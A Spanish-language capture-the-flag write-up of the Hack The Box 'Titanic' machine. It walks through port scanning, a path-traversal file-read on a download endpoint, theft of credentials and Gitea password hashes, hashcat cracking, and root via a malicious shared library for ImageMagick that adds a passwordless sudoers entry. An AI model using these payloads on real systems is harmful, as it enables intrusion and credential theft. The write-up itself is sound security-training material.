Page cover

🟢Titanic

En esta ocasión vamos a hacer el writeup de la máquina Titanic de Hack the Box, una máquina Linux de dificultad easy.

Primer acceso

Añadimos la IP 10.10.11.55 a nuestro /etc/hosts y accedemos través del navegador.

sudo echo "10.10.11.55 titanic.htb" | sudo tee -a /etc/hosts

Parece una web de experiencias de lujo en un barco estilo titanic. No funciona ningún link de la cabecera menos el CTA de Book Now, que abre un formulario que podría ser vulnerable:

Escaneo de puertos

sudo nmap -v -p- -A -T5 10.10.11.55
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Device type: general purpose
Running: Linux 5.X

Solo encontramos 2 puertos abiertos, el 22 y el 80, los típicos.

Fuzzing

Haciendo fuzzing con dirsearch nos encontramos unos pocos directorios:

dirsearch -u http://10.10.11.55/ -x 404                        

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/kali/reports/http_10.10.11.55/__25-05-09_11-41-59.txt

Target: http://10.10.11.55/

[11:41:59] Starting: 
[11:42:00] 403 -  276B  - /%3f/
[11:42:23] 301 -  322B  - /axis//happyaxis.jsp  ->  http://titanic.htb/axis/happyaxis.jsp
[11:42:23] 301 -  333B  - /axis2//axis2-web/HappyAxis.jsp  ->  http://titanic.htb/axis2/axis2-web/HappyAxis.jsp
[11:42:23] 301 -  327B  - /axis2-web//HappyAxis.jsp  ->  http://titanic.htb/axis2-web/HappyAxis.jsp
[11:42:26] 301 -  355B  - /Citrix//AccessPlatform/auth/clientscripts/cookies.js  ->  http://titanic.htb/Citrix/AccessPlatform/auth/clientscripts/cookies.js
[11:42:34] 301 -  345B  - /engine/classes/swfupload//swfupload_f9.swf  ->  http://titanic.htb/engine/classes/swfupload/swfupload_f9.swf
[11:42:34] 301 -  342B  - /engine/classes/swfupload//swfupload.swf  ->  http://titanic.htb/engine/classes/swfupload/swfupload.swf
[11:42:35] 301 -  330B  - /extjs/resources//charts.swf  ->  http://titanic.htb/extjs/resources/charts.swf
[11:42:39] 301 -  340B  - /html/js/misc/swfupload//swfupload.swf  ->  http://titanic.htb/html/js/misc/swfupload/swfupload.swf

Task Completed

Encontramos varios archivos interesantes:

  • /axis//happyaxis.jsp → Página de prueba de Apache Axis, útil para comprobar si el servicio web está funcionando. Potencialmente vulnerable si está mal configurado.

  • /axis2//axis2-web/HappyAxis.jsp → Página de bienvenida de Axis2 Web Services, puede conducir a consola administrativa.

  • /axis2-web//HappyAxis.jsp → Redirección duplicada de Axis2, misma función que la anterior.

  • /Citrix//AccessPlatform/auth/clientscripts/cookies.js → Script JavaScript de autenticación de una posible instancia de Citrix Access Gateway.

  • /engine/classes/swfupload//swfupload_f9.swf → Archivo Flash (SWF) antiguo para subida de archivos; puede contener vulnerabilidades de ejecución de código.

  • /engine/classes/swfupload//swfupload.swf → Otro archivo SWF del mismo módulo, también candidato a explotación por vulnerabilidades en Flash.

  • /extjs/resources//charts.swf → Archivo SWF usado para visualización de datos; si está desactualizado, puede ser objetivo de ataques XSS en Flash.

  • /html/js/misc/swfupload//swfupload.swf → Tercera ubicación de swfupload.swf; indica reutilización extensa del componente vulnerable.

Prueba de formulario

Al enviar el form observamos que se nos descarga un JSON:

En principio vemos que solo se nos almacenan los datos de cada input:

cat 0aa30f88-a6ed-4cf5-a3a3-8d90afea77fd.json 

{"name": "test", "email": "test@mail.com", "phone": "666778899", "date": "2025-01-08", "cabin": "Deluxe"}

Capturando la petición con BurpSuite, vemos que el json se descarga desde:

/download?ticket=<cadena-de-texto>.json

Fuzzing de parámetros

Como ticket se pasa como un parámetro de URL probamos un fuzzing de extensiones para intentar explotar un LFI (Local File Inclusion):

ffuf -u http://titanic.htb/download\?ticket\=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -mc 200


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://titanic.htb/download?ticket=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [Status: 200, Size: 1951, Words: 15, Lines: 37, Duration: 49ms]
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd [Status: 200, Size: 1951, Words: 15, Lines: 37, Duration: 62ms]
..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd [Status: 200, Size: 1951, Words: 15, Lines: 37, Duration: 86ms]
/etc/apache2/apache2.conf [Status: 200, Size: 7224, Words: 942, Lines: 228, Duration: 77ms]
/etc/apt/sources.list   [Status: 200, Size: 2377, Words: 239, Lines: 43, Duration: 47ms]
/etc/crontab            [Status: 200, Size: 1136, Words: 196, Lines: 24, Duration: 47ms]
/etc/fstab              [Status: 200, Size: 496, Words: 82, Lines: 12, Duration: 46ms]
/etc/group              [Status: 200, Size: 818, Words: 1, Lines: 63, Duration: 56ms]
/etc/hosts              [Status: 200, Size: 250, Words: 24, Lines: 10, Duration: 75ms]
../../../../../../../../../../../../etc/hosts [Status: 200, Size: 250, Words: 24, Lines: 10, Duration: 74ms]
/etc/hosts.deny         [Status: 200, Size: 711, Words: 128, Lines: 18, Duration: 73ms]
/etc/hosts.allow        [Status: 200, Size: 411, Words: 82, Lines: 11, Duration: 76ms]
/etc/issue              [Status: 200, Size: 26, Words: 5, Lines: 3, Duration: 52ms]
/etc/init.d/apache2     [Status: 200, Size: 8181, Words: 1500, Lines: 356, Duration: 57ms]
/etc/mysql/my.cnf       [Status: 200, Size: 839, Words: 116, Lines: 24, Duration: 52ms]
/etc/netconfig          [Status: 200, Size: 767, Words: 289, Lines: 20, Duration: 51ms]
/etc/nsswitch.conf      [Status: 200, Size: 510, Words: 131, Lines: 21, Duration: 56ms]

Bingo! Tenemos via libre hacia un LFI. Vamos a ver el etc/hosts:

curl -i "http://titanic.htb/download?ticket=../../../../../../etc/passwd"                                  

HTTP/1.1 200 OK
Date: Fri, 09 May 2025 10:14:35 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="../../../../../../etc/passwd"
Content-Type: application/octet-stream
Content-Length: 1951
Last-Modified: Fri, 07 Feb 2025 11:16:19 GMT
Cache-Control: no-cache
ETag: "1738926979.4294043-1951-1015942535"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

El único usuario con shell además de root es el usuario developer.

Archivos con acceso LFI

Vamos a buscar otros archivos accesibles por LFI. Hemos encontrado algunos interesantes:

  • /etc/passwd – Contiene usuarios del sistema.

  • /etc/hosts – Mapeo de nombres de host locales.

  • /etc/hosts.deny / /etc/hosts.allow – Control de acceso a servicios.

  • /etc/apt/sources.list – Repositorios del sistema.

  • /etc/group – Grupos del sistema.

  • /etc/fstab – Montaje de sistemas de archivos.

  • /etc/init.d/apache2 – Script de inicio de Apache.

  • /etc/apache2/apache2.conf – Configuración principal de Apache.

  • /etc/mysql/my.cnf – Configuración de MySQL (posibles credenciales).

  • /etc/ssh/sshd_config – Configuración de SSH (posibles vectores).

  • /etc/nsswitch.conf / /etc/netconfig – Configs de resolución de nombres.

  • /etc/issue – Banner del sistema (identifica distribución).

  • /etc/resolv.conf – DNS configurados.

  • /etc/rpc – Servicios RPC disponibles.

  • /var/log/lastlog – Últimos accesos de usuarios (binario).

  • /var/log/wtmp / /var/run/utmp – Historial de sesiones/logins (binarios).

Enumeración de vhosts

Descubrimos un host de desarrollo, al que seguramente pueda acceder el usuario developer:

curl -i "http://titanic.htb/download?ticket=../../../../../../etc/hosts"            

HTTP/1.1 200 OK
Date: Fri, 09 May 2025 10:19:01 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="../../../../../../etc/hosts"
Content-Type: application/octet-stream
Content-Length: 250
Last-Modified: Fri, 07 Feb 2025 12:04:36 GMT
Cache-Control: no-cache
ETag: "1738929876.3570278-250-789908774"

127.0.0.1 localhost titanic.htb dev.titanic.htb
127.0.1.1 titanic

Con ffuf lo confirmamos:

ffuf -u http://titanic.htb -H "Host:FUZZ.titanic.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -fw 12 -mc 200

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://titanic.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.titanic.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
 :: Filter           : Response words: 12
________________________________________________

dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 41ms]

Subdominio de desarrollo

Lo añadimos a etc/hosts y accedemos para ver que nos encontramos:

sudo echo "10.10.11.55 dev.titanic.htb" | sudo tee -a /etc/hosts

Tenemos una instancia de Gitea! Al acceder a Explore, nos encontramos con 2 repositorios que podrían contener credenciales:

En flash-app/tickets nos encontramos 2 json que contienen nombres de usuarios, que aunque son los protagonistas del titanic, podrían ser usuarios válidos:

{"name": "Rose DeWitt Bukater", "email": "rose.bukater@titanic.htb", "phone": "643-999-021", "date": "2024-08-22", "cabin": "Suite"}
{"name": "Jack Dawson", "email": "jack.dawson@titanic.htb", "phone": "555-123-4567", "date": "2024-08-23", "cabin": "Standard"}

En docker-config nos encontramos directorios interesantes de gitea y mysql:

En mysql tenemos una mina de oro: usuario y credenciales expuestas de la base de datos:

version: '3.8'

services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    ports:
      - "127.0.0.1:3306:3306"
    environment:
      MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
      MYSQL_DATABASE: tickets 
      MYSQL_USER: sql_svc
      MYSQL_PASSWORD: sql_password
    restart: always

Y en Gitea encontramos un puerto expuesto para la conexión SSH que podríamos aprovechar para acceder con las credenciales que tenemos:

ports:
      - "127.0.0.1:3000:3000"  # Base de datos MySQL
      - "127.0.0.1:2222:22"    # Puerto de acceso SSH

Y encontramos el path de las aplicaciones de Gitea y MySQL:

 volumes:
      - /home/developer/gitea/data:/data # Replace with your path

LFI dirigido a Gitea

Volvemos a explotar el LFI para enumerar archivos sensibles de la configuración de Gitea, y encontramos la base de datos, token y el JWT_SECRET:

La base da datos se encuentra en:

/data/gitea/gitea.db

Accedemos y tenemos un dump cmpleto de la base de datos:

Filtrando por el usuario developer o el usuario root encontramos los hashes de ambos!

Le damos click derecho > Copy to file y le damos el nombre de titanic.db

Eliminarnos el encabezado de BurpSuite con este comando, que elimina las 12 primeras líneas:

sed -i '1,12d' titanic.db  

Comprobamos la integridad de la base de datos:

sqlite3 titanic.db "PRAGMA integrity_check"

ok

Y extraemos los hashes de la tabla user:

sqlite3 titanic.db "SELECT name, passwd, salt FROM user" | while IFS='|' read -r name passwd salt; do
    digest=$(echo -n "$passwd" | xxd -r -p | base64 -w0)
    salt_b64=$(echo -n "$salt" | xxd -r -p | base64 -w0)
    echo "${name}:sha256:50000:${salt_b64}:${digest}"
done | tee gitea_hashes.txt


administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

También podemos usar el siguiente script en bash que automatiza el proceso de extracción de los hashes y el guardado en un archivo procesable por hashcat:

enumerate-db.sh
#!/bin/bash
DB="titanic.db"

echo "[+] Extrayendo hashes en formato Hashcat (PBKDF2-HMAC-SHA256):"
echo "------------------------------------------------------------"

# Encabezado para documentación
echo "# Formato: sha256:iterations:salt_base64:hash_base64" > titanic_hashes.hashcat

sqlite3 "$DB" "SELECT passwd, salt FROM user" | while IFS='|' read -r passwd salt; do
    # Convertir a Base64 (eliminando newlines)
    salt_b64=$(echo -n "$salt" | xxd -r -p | base64 -w0)
    hash_b64=$(echo -n "$passwd" | xxd -r -p | base64 -w0)
    
    # Escribir en formato Hashcat puro
    echo "sha256:50000:${salt_b64}:${hash_b64}" >> titanic_hashes.hashcat
done

echo -e "\n[+] Hashes guardados en 'titanic_hashes.hashcat'"
echo "[+] Comando para crackear:"
echo "hashcat -m 10900 titanic_hashes.hashcat /usr/share/wordlists/rockyou.txt -O"
bash enumerate_db.sh
[+] Extrayendo hashes en formato Hashcat (PBKDF2-HMAC-SHA256):
------------------------------------------------------------

[+] Hashes guardados en 'titanic_hashes.hashcat'
[+] Comando para crackear:
hashcat -m 10900 titanic_hashes.hashcat /usr/share/wordlists/rockyou.txt -O

Cracking con Hashcat

hashcat -m 10900 titanic_hashes.hashcat /usr/share/wordlists/rockyou.txt

hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-skylake-avx512-AMD Ryzen 7 8845HS w/ Radeon 780M Graphics, 2124/4313 MB (1024 MB allocatable), 16MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashfile 'titanic_hashes.hashcat' on line 1 (# Form...erations:salt_base64:hash_base64): Signature unmatched
Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 4 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:<REDACTED>

Conseguimos crackear la contraseña del usuario developer!

User flag

Accedemos por SSH y conseguimos la user flag:

developer@titanic:~$ ls
gitea  mysql  snap  user.txt

developer@titanic:~$ cat user.txt 
bebfbb6180dbfdc0d08d4c0********

Escalada de privilegios

No tenemos permisos sudo:

developer@titanic:~$ sudo -l
[
Sorry, user developer may not run sudo on titanic.

Enumerando ejecutables en el sistema encontré uno interesante:

developer@titanic:/tmp$ find / -type f -name "*.sh" 2>/dev/null | grep image
/opt/scripts/identify_images.sh

Vamos a ver como funciona:

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

Utiliza ImageMagick para identificar imágenes y escribirlas en logs rápidamente.

developer@titanic:~$ magick --version

Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

Al verificar la versión de ImageMagick descubrí que es vulnerable a este CVE:

Vamos al directorio /opt/app/static/assets/images/ y creamos un archivo llamado a.c con este contenido:

a.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}

El comando anterior permite que el usuario developer usar sudo sin contraseña.

Ahora lo compilamos y ejecutamos con el siguiente comando:

gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles

Y leemos la root flag:

developer@titanic:/opt/app/static/assets/images$ gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles

developer@titanic:/opt/app/static/assets/images$ sudo cat /root/root.txt
056ed9a75e7ad6cb775a5b2*********

Última actualización

¿Te fue útil?